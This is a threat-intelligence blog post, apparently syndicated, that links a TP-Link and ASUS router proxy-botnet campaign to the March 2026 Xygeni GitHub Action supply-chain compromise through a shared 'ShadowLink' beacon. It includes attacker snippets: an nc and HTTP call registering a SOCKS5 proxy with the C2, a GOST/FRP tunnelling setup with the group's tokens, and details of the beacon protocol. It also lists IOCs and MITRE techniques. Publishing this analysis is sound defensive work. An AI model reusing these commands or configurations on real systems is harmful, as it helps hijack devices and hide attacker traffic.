









March 2026 was intense for cybersecurity teams across the globe. Within a three-week window, the industry observed three application-security companies compromised in supply-chain attacks using the same vector: poisoned GitHub Actions.
Each attack leveraged GitHub Actions to inject malicious code into CI/CD pipelines, often exfiltrating secrets and facilitating further compromise:
xygeni/xygeni-actionaquasecurity/trivy-action & aquasecurity/setup-trivycheckmarx/ast-github-action & checkmarx/kics-github-actionThe latter two were the most significant and received widespread public reporting. Both the Trivy and Checkmarx compromises were attributed to TeamPCP (also tracked as PCPcat, ShellForce, DeadCatx3). This interesting cybercrime group emerged in November-December 2025, known for building large-scale proxy and scanning infrastructure from compromised cloud environments.
Xygeni has not been publicly linked to TeamPCP. During our investigation we discovered connections between the Xygeni compromise and a separate campaign targeting IoT devices, connections that had previously gone unreported. We are not making a firm attribution to TeamPCP, but we are highlighting our findings and the tradecraft overlaps that led us here.
This blog details how an investigation into residential proxy networks on compromised TP-Link IOT devices led us to a supply-chain attack, and why we believe the two are connected.
Ctrl-Alt-Intel was not investigating TeamPCP or supply-chain attacks. We were tracking threat actors building residential proxy networks from compromised edge devices - an area of increasing concern.
Whilst researching this, NCSC indepedently published research that APT28 or Fancy Bear has exploited similar devices for DNS hijacking. Our research is unrelated, although the vector, TP-Link devices, was the same
What we found was unexpected:
A threat actor we were tracking for TP-Link and ASUS IoT exploitation was the same actor behind the March 3rd Xygeni supply-chain attack.
How did we get here?
In December 2025, Ctrl-Alt-Intel identified an unknown threat actor leveraging the open-source tool microsocks, deployed to compromised FortiWeb firewalls. We have been hunting for abuse of microsocks ever since.
On April 5th 2026, we recovered evidence that microsocks had been deployed to TP-Link consumer routers, enrolling them into a residential proxy network.
These routers were also running a custom command-and-control beacon that was named ShadowLink. When we analysed the ShadowLink protocol, we found it was identical, down to a shared authentication secret, to the backdoor planted in the Xygeni GitHub Action used for that supply-chain attack.
We identified a staging server at 108.129.153[.]172:8888, hosted on AWS EC2, that served two shell scripts and corresponding microsocks binaries compiled for multiple architectures.
The primary payload, tplink_stager.sh, was designed for post-exploitation of CVE-2024-21833, an OS command injection vulnerability (CVSS 8.8) affecting TP-Link Archer and Deco series routers. The script performs architecture detection across ARM, AARCH64, MIPS, and x86, downloads the appropriate microsocks binary, establishes a SOCKS5 proxy, and deploys the ShadowLink beacon.
tplink_stager.sh
We are using the name ShadowLink to refer to the beaconing protocol as mentioned within the above script. This was not our name.
A second, stripped-down script (b.sh) implements the ShadowLink beacon without the proxy deployment. This is a lightweight, POSIX-compatible agent that registers with the C2, polls for commands, executes them via eval, and exfiltrates base64-encoded results.
Using Censys Service History, an HTTP request to 108.129.153[.]172:80 directly exposed a third ShadowLink payload targeting ASUS routers running ASUSWRT firmware:
Port 80 staging ASUS ShadowLink payload
Unlike the TP-Link stager, the ASUS payload was a single-shot registration beacon. It fingerprinted the device, model, firmware version, architecture, via ASUSWRT nvram interface and sent it to the C2, without establishing a poll loop.
This may suggests it served as a reconnaissance or enrollment step, identifying available ASUS devices before full proxy deployment.
All three scripts implement the same core beaconing protocol: registration via POST /b/in with a custom HTTP authentication header, X-B: sL5x#9kR!vQ2$mN7.
We compared similarities and differences across all observed ShadowLink variants later in this blog.
Complete residential proxy deployment was only observed in tplink_stager.sh. The enrollment process worked as follows:
The threat actor achieves RCE on a TP-Link device and downloads & executes tplink_stager.sh
The appropriate microsocks binary is downloaded to /tmp/.m
The device’s public WAN IP is retrieved via ipinfo.io or ifconfig.me
Using exec -a '[kworker/0:1]', the proxy binary masquerades as a kernel worker thread while starting a SOCKS5
listener on a random high port (49152-65534)
The SOCKS5 port is registered with the C2 via TCP or HTTP:
echo "PROXY 52847" | nc C2 7777
GET http://C2:8889/reg?ip=86.x.x.x&port=52847
With the registration complete, the threat actor has a SOCKS5 proxy running on a legitimate residential IP address:
Threat Actor -> SOCKS5 -> 86.x.x.x:52847 -> Target
The value of residential proxy networks is well understood. Consumer router IPs are registered to ISPs, carry clean reputation scores, and are nearly indistinguishable from legitimate home-user traffic.
This makes them ideal for evading IP-based blocks, CAPTCHAs, and rate limiting, the same reason state-sponsored actors like Volt Typhoon and Fancy Bear leverage these for evasion purposes
Persistence on the TP-Link devices was achieved through three mechanisms:
/var/spool/cron/crontabs/root or /etc/crontabs (every 5 minutes)/etc/rc.localrc_startup via nvram set / nvram commit, a technique specific to TP-Link embedded LinuxCorrelation Diagram
The exact same beaconing protocol, with a different C2 endpoints, but the same authentication secret, the same execution logic, was present in the Xygeni supply-chain attack.
We credit the StepSecurity blog, published March 9th 2026, for exposing the technical details of this compromise.
On March 3rd 2026, three malicious pull requests titled “add scanner version telemetry reporting” were opened against xygeni/xygeni-action. These commits were signed by the account [email protected]. Within 27 minutes, all three PRs were opened and closed without merging, but the mutable v5 tag was force-moved to point at the backdoored commit, a technique known as tag poisoning.
Malicious Commits
Each malicious commit contained a GitHub Actions step named “Report Scanner Telemetry” which may have blended in with legitimate CI/CD pipeline steps. The payload was a fully functional ShadowLink beacon disguised within a background subshell:
Malicious GitHub Action Payload - StepSecurity
The beacon registered with the C2, polled for commands for 180 seconds, executed them via eval, and exfiltrated results using zlib compression and base64 encoding.
The C2 address used a clever technique: rather than connecting to a raw IP, the payload resolved security-verify.91.214.78.178.nip.io, leveraging the nip.io wildcard DNS service to wrap the IP 91.214.78[.]178 in a domain name that looks like a legitimate security service. This could bypass CI/CD security policies that may block raw IP connections.
The custom header value X-B: sL5x#9kR!vQ2$mN7 was seen across seemingly distinct and unrelated campaigns.
The following table compares the ShadowLink implementation across all four observed variants:
| Attribute | b.sh |
tplink_stager.sh |
ASUS Payload | Xygeni GitHub Action |
|---|---|---|---|---|
| Target | Any POSIX host | TP-Link routers | ASUS routers | CI/CD runners |
| C2 IP | 108.129.153[.]172 |
108.129.153[.]172 |
108.129.153[.]172 |
91.214.78[.]178 |
| C2 Port | 7443 | 7443 | 443 | 443 |
| Auth Header | X-B: sL5x#9kR!vQ2$mN7 |
X-B: sL5x#9kR!vQ2$mN7 |
X-B: sL5x#9kR!vQ2$mN7 |
X-B: sL5x#9kR!vQ2$mN7 |
| Registration | POST /b/in |
POST /b/in |
POST /b/in |
POST /b/in |
| Tasking | GET /b/q |
GET /b/q |
None | GET /b/q |
| Result Exfil | POST /b/r |
POST /b/r |
None | POST /b/r |
| Command Exec | eval |
eval |
None | eval |
| Beacon Loop | Infinite | Infinite | Single-shot | 180 seconds |
| Jitter | 45-75s | 45-75s | N/A | 2-7s |
| Output Encoding | Base64 | Base64 | N/A | zlib + Base64 |
The authentication secret, C2 endpoint structure, and tasking protocol are identical across all four variants.
It is notable to see the same shared secret and beaconing protocol across two distinct and unrelated attack surfaces. One targeted IoT devices to create SOCKS proxy networks; the other was a supply-chain attack against a security vendor’s CI/CD pipeline.
Ctrl-Alt-Intel identified no concrete overlap in IOCs or C2 architecture between the Xygeni supply-chain attack and the subsequent Trivy/Checkmarx compromises attributed to TeamPCP.
However, several circumstantial factors are worth noting:
91.214.78[.]178, the Xygeni C2This ASN overlap is not signficant, EC2 & Interserver are widely used and this could be coincidental. It is worth mentioning regardless.
Failed Threat Actor RFI
Whether the actor behind the ShadowLink infrastructure is TeamPCP-aligned, a subgroup, or an entirely separate operator who inspired TeamPCP’s subsequent attacks remains uncertain.
Correlation Graph
What we can say with confidence is that the ShadowLink operator behind the TP-Link/ASUS exploitation is the same actor behind the Xygeni compromise, and that this actor was active weeks before TeamPCP’s more widely reported campaign began.
To understand why the overlap matters, it helps to review what TeamPCP was doing before the March supply-chain attacks.
On December 19th 2025, Rubrik Zero Labs published PCPcat Campaign: Large-Scale Exploitation of React2Shell CVE and Cloud Infrastructure, detailing a campaign where TeamPCP weaponised CVE-2025-55182 (React2Shell) alongside exposed Docker APIs, Redis servers, Kubernetes clusters, and Ray AI dashboards:
“The PCPcat threat actors have weaponized this vulnerability alongside traditional cloud infrastructure misconfigurations to build a large-scale botnet operation focused on cryptocurrency mining, credential theft, and proxy network construction.”
The scale was staggering. Rubrik’s analysis of TeamPCP’s C2 API revealed 91,505 IPs scanned, with approximately 59,128 servers compromised in under 48 hours. Flare’s subsequent analysis, published February 5th 2026, estimated at least 60,000 compromised servers worldwide via worm-like propagation:
“The operation’s goals were to build a distributed proxy and scanning infrastructure at scale, then compromise servers to exfiltrate data, deploy ransomware, conduct extortion, and mine cryptocurrency.”
TeamPCP’s proxy.sh script, staged on 67.217.57[.]240:666, deployed GOST (SOCKS5) and FRP (reverse tunnel) to compromised servers, alongside Python scanner modules for worm-like propagation. Persistence was achieved via six systemd services, and all compromised hosts joined a single FRP load-balancer group identified by the token PCPcat-FRP-Token-2024.
Hardcoded variables in proxy.sh
Rather than leveraging microsocks, TeamPCP used a combination of FRP (Fast Reverse Proxy) and GOST for SOCKS tunnelling:
./gost -L socks5://:1080 &
sleep 2
./frpc -c ./frpc.toml &
A SOCKS5 listener is configured on port 1080, with the FRP client forwarding it to the threat actor’s C2. The frpc.toml configuration is constructed at runtime:
cat>frpc.toml<<EOF
serverAddr="$VPS_ADDR"
serverPort=$VPS_PORT
auth.method="token"
auth.token="PCPcat-FRP-Token-2024"
transport.tcpMux=true
[[proxies]]
name="$CLIENT_NAME"
type="tcp"
localIP="127.0.0.1"
localPort=1080
remotePort=890
loadBalancer.group="pcpcat-pool"
loadBalancer.groupKey="PCPcat-Group-Key"
EOF
The proxy setup in proxy.sh and tplink_stager.sh serve the same strategic purpose, converting compromised infrastructure into SOCKS5 exit nodes, but are adapted for their target environments:
| Component | tplink_stager.sh (Routers) |
proxy.sh (Servers) |
|---|---|---|
| SOCKS5 Tool | microsocks | GOST v2.12.0 |
| Tunnelling | N/A - routers have public WAN IPs | FRP reverse tunnel to C2:890 |
| Registration | TCP callback (nc) or HTTP GET |
FRP auto-registration via frpc.toml |
| Persistence | Cron, rc.local, NVRAM | Systemd services |
| Arch Detection | uname -m + case statement |
uname -m + case statement |
| Error Handling | 2>/dev/null throughout |
2>/dev/null throughout |
There are coding patterns consistent across both scripts, architecture detection via uname -m piped through a case statement, dual wget/curl fallback logic, idempotency guards to prevent duplicate processes, and pervasive error suppression.
In 2019 you could potentially use these similarities in an attribution, however we likely believe both originate from both actors leveraging AI-assisted development rather than the same developer following similar practices.
Whether the actor responsible for the TP-Link and ASUS exploitation is TeamPCP-aligned remains uncertain.
When running services on the internet, it is impossible to avoid the tens of vendors (and likely intelligence agencies) consistently scanning IP addresses. Ctrl-Alt-Intel leveraged Censys’ Service History capability to look back in time at TeamPCP’s known infrastructure.
From Oligo Security’s reporting, published November 18th 2025 regarding Ray AI exploitation, we knew TeamPCP was operating from 67.217.57[.]240 from at least November-December 2025:
TeamPCP infrastructure service history
From Censys, we identified two notable findings on this telemetry:
TeamPCP Honeypot Dashboard
TeamPCP Starkiller
Although these exposures are not significant, they may provide additional visibility into the tooling and infrastructure leveraged by TeamPCP.
This investigation provided visibility and connection into two what looked like two distinct attacks. One compromising IoT devices and one compromising CI/CD pipelines for supply-chain attacks. We found this fasinating.
The relationship between this actor and TeamPCP is less definitive. Both campaigns share a strategic focus on proxy network construction and both occurred within the same operational window. TeamPCP is known to target the same class of victim, security vendors distributing open-source tooling through GitHub Actions, and has previously operated infrastructure from the same ASNs observed in this campaign.
What we can conclude is: an operator building residential proxy networks from compromised TP-Link and ASUS routers also performed to supply-chain attacks against a security vendor in early March 2026 - weeks before TeamPCP launched its own, more widely reported campaigns against Trivy and Checkmarx.
Whether this represents a shared operator, a subgroup, or independent actors converging on the same targets and techniques remains an open question for the community.
If you have additional telemetry that would help answer the above questions, or actual residential IP adddresses you believe TeamPCP have operated from, please reach out at
contact[@]ctrlaltintel[.]com. We appreciate any additional information.
| Indicator | Type | Context |
|---|---|---|
108.129.153[.]172 |
IP Address | ShadowLink C2; AWS EC2; staging server for microsocks and shell scripts; ASUS payload hosted on port 80 |
91.214.78[.]178 |
IP Address | Xygeni supply-chain C2; accessed via nip.io wildcard DNS |
67.217.57[.]240 |
IP Address | TeamPCP C2; payload staging (port 666); FRP tunnel (port 888); Starkiller (port 1337); Honeypot dashboard (port 8081) |
security-verify.91.214.78.178.nip[.]io |
Domain | Xygeni C2 domain; nip.io wildcard DNS resolving to 91.214.78[.]178 |
sL5x#9kR!vQ2$mN7 |
Auth Secret | ShadowLink X-B header value; shared across all four variants |
sL5x%239kR%21vQ2%24mN7 |
Auth Secret | URL-encoded variant; used in beacon poll query strings |
/b/in |
URI Path | ShadowLink registration endpoint (POST) |
/b/q |
URI Path | ShadowLink command polling endpoint (GET) |
/b/r |
URI Path | ShadowLink result exfiltration endpoint (POST) |
/tmp/.m |
File Path | microsocks binary on compromised TP-Link routers |
/tmp/.s |
File Path | Stager persistence copy on TP-Link routers |
/tmp/.bp |
File Path | Beacon PID file on TP-Link routers |
/tmp/.bid |
File Path | Beacon ID file on TP-Link routers |
[kworker/0:1] |
Process Name | Process masquerade used by microsocks on TP-Link |
tplink_stager.sh |
Filename | TP-Link residential proxy stager |
b.sh |
Filename | Generic ShadowLink beacon |
proxy.sh |
Filename | TeamPCP server-side proxy deployment script |
ed8f066f4539feb19f59e74b4429ece7469e5ef088b7f4aaef0fc2bf226ae5f0 |
SHA256 | b.sh |
80729e37f797da2b5a177867306318626e52b675f44fa441c256d139e88f69df |
SHA256 | proxy.sh |
9984e2b8fa6401f84f76e38e3b97888a4df25dc8cdf28981d088515d03a72037 |
SHA256 | tplink_stager.sh |
| Tactic | ID | Technique | Observed Usage |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | CVE-2024-21833 (TP-Link routers); TeamPCP exploitation of React2Shell, Redis, Docker APIs, Ray AI |
| Initial Access | T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Xygeni GitHub Action tag poisoning to inject ShadowLink beacon |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | All payloads are POSIX shell scripts; command execution via eval |
| Execution | T1059.006 | Command and Scripting Interpreter: Python | TeamPCP scanner modules (scanner.py, react.py, redis-deploy.py, kube.py) |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | tplink_stager.sh installs cron entries across multiple crontab directories |
| Persistence | T1037.004 | Boot or Logon Init Scripts: RC Scripts | tplink_stager.sh modifies /etc/rc.local |
| Persistence | T1542 | Pre-OS Boot | tplink_stager.sh writes to NVRAM rc_startup (TP-Link specific) |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | TeamPCP proxy.sh creates six systemd services with Restart=always |
| Defense Evasion | T1036.004 | Masquerading: Masquerade Task or Service | microsocks masquerades as [kworker/0:1] kernel worker thread |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Xygeni payload disguised as “Report Scanner Telemetry” workflow step |
| Defense Evasion | T1070.004 | Indicator Removal: File Deletion | tplink_stager.sh self-deletes original and cleans wget/curl temp files |
| Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | Dot-prefixed filenames on routers (/tmp/.m, /tmp/.s, /tmp/.bp, /tmp/.bid) |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | TeamPCP proxy.sh uninstalls Alibaba Cloud Aegis security agent |
| Discovery | T1082 | System Information Discovery | All payloads collect hostname, username, and architecture via uname -m |
| Discovery | T1016 | System Network Configuration Discovery | tplink_stager.sh queries ipinfo.io / ifconfig.me for WAN IP |
| Lateral Movement | T1210 | Exploitation of Remote Services | TeamPCP scanner modules propagate via Redis, Docker, React2Shell |
| Collection | T1560.001 | Archive Collected Data: Archive via Utility | Xygeni payload compresses output with zlib before base64 encoding |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | ShadowLink C2 over HTTP; JSON payloads to /b/in, /b/q, /b/r |
| Command and Control | T1090.002 | Proxy: External Proxy | microsocks SOCKS5 on TP-Link routers; GOST SOCKS5 on TeamPCP-compromised servers |
| Command and Control | T1572 | Protocol Tunneling | TeamPCP FRP reverse tunnel from victim SOCKS5 to C2:890 |
| Command and Control | T1571 | Non-Standard Port | ShadowLink on port 7443; TeamPCP staging on 666, FRP on 888 |
| Command and Control | T1105 | Ingress Tool Transfer | Downloading microsocks binaries, GOST, FRP, and scanner modules from C2 |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Command output exfiltrated via POST /b/r in ShadowLink protocol |
| Impact | T1496 | Resource Hijacking | TeamPCP kills competing XMRig cryptominers before deploying own payloads |
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。